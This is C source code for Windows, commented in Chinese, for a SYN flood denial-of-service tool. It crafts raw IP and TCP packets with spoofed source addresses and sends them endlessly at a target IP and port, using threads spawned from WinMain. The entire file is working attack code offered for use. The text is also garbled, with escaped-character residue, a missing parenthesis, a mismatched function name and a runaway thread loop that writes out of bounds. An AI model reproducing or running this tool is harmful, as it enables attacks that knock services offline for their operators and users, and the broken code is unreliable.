*/#include "stdafx.h"
#include <windows.h>;
#include <winsock2.h>;
#include <ws2tcpip.h>;
#pragma comment(lib,"WS2_32.LIB"
typedef struct tag_ip_Header//ip首部
{
unsigned char h_verlen;//4位手部长度，和4位IP版本号
unsigned char tos;//8位类型服务
unsigned short total_len;//16位总长度
unsigned short ident;//16位标志
unsigned short frag_and_flags;//3位标志位（如SYN,ACK,等等)
unsigned char ttl;//8位生存时间
unsigned char proto;//8位协议
unsigned short checksum;//ip手部效验和
unsigned int SourceIP;//伪造IP地址
unsigned int DestIP;//攻击的ip地址
}IPHEADER;
typedef struct tag_tcp_Header
{
USHORT th_sport;//伪造端口
USHORT th_dport;//攻击端口
unsigned int th_seq;//32位系列号
unsigned int th_ack;//32位确认号
unsigned char th_lenres;//4位首布长度，6位保留字
unsigned char th_flag;//6位标志位
USHORT th_win;//16位窗口大小
USHORT th_sum;//16位效验和
USHORT th_urp;//
}TCPHEADER;
typedef struct tag_tsd_Header
{
unsigned long saddr;//伪造地址
unsigned long daddr;//攻击地址
char mbz;//
char ptcl;//协议类型
unsigned short tcpl;//TCP长度
}TSDHEADER;
DWORD WINAPI Start(void);
HANDLE hFind[10];
//计算效验和
USHORT checksum(USHORT *buffer,int size)
{
unsigned long check=0;
while(size>;1)
{
check+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
check += *(USHORT*)buffer;
}
check = (check >;>;16) + (check & 0xffff);
check += (check >;>;16);
return (USHORT)(~check);
}
//攻击线程
DWORD WINAPI Statr(void)
{
SOCKET sock;
WSADATA WSAData;
SOCKADDR_IN syn_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
TSDHEADER psdHeader;
const char *addr = "127.0.0.1";//攻击的IP地址
int port = 135;//要攻击的端口
if(WSAStartup(MAKEWORD(2,2),&WSAData))
{
return false;
}
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
return false;
}
BOOL flag=true;
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR)
{
return false;
}
int Time =888;
if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&Time,sizeof(Time))==SOCKET_ERROR)
{
return false;
}
syn_in.sin_family = AF_INET;
syn_in.sin_port = htons(port);
syn_in.sin_addr.S_un.S_addr = inet_addr(addr);
while(TRUE)
{
//填充IP首部
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=(unsigned char)GetTickCount()%514+620;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.SourceIP=htonl(GetTickCount()*1986);
ipHeader.DestIP=inet_addr(addr);
//填充Tcp首部
int SourcePort =GetTickCount()*1986%514;
tcpHeader.th_dport=htons(port);
tcpHeader.th_sport=htons(SourcePort);
tcpHeader.th_seq=htonl(0x1234567
;
tcpHeader.th_ack=0;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(620);
tcpHeader.th_urp=0;
tcpHeader.th_sum=0;
//填充TCP伪首部用来计算TCP头部的效验和
psdHeader.saddr=ipHeader.SourceIP;
psdHeader.daddr=ipHeader.DestIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
//计算校验和
char SendBuff[100]={0};
memcpy(SendBuff, &psdHeader, sizeof(psdHeader));
memcpy(SendBuff+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT *)SendBuff,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(SendBuff, &ipHeader, sizeof(ipHeader));
memcpy(SendBuff+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
//发送数据包
int Syn=sendto(sock, SendBuff, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&syn_in, sizeof(syn_in));
if(Syn==SOCKET_ERROR)
{
return false;
}
}
closesocket(sock);
WSACleanup();
return true;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{ //启动线程，10，大家可以自己改
for(int i=0;i<10;i++)
{
hFind[i-1]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Statr,0,0,NULL);
i--;
}
return 0;
}
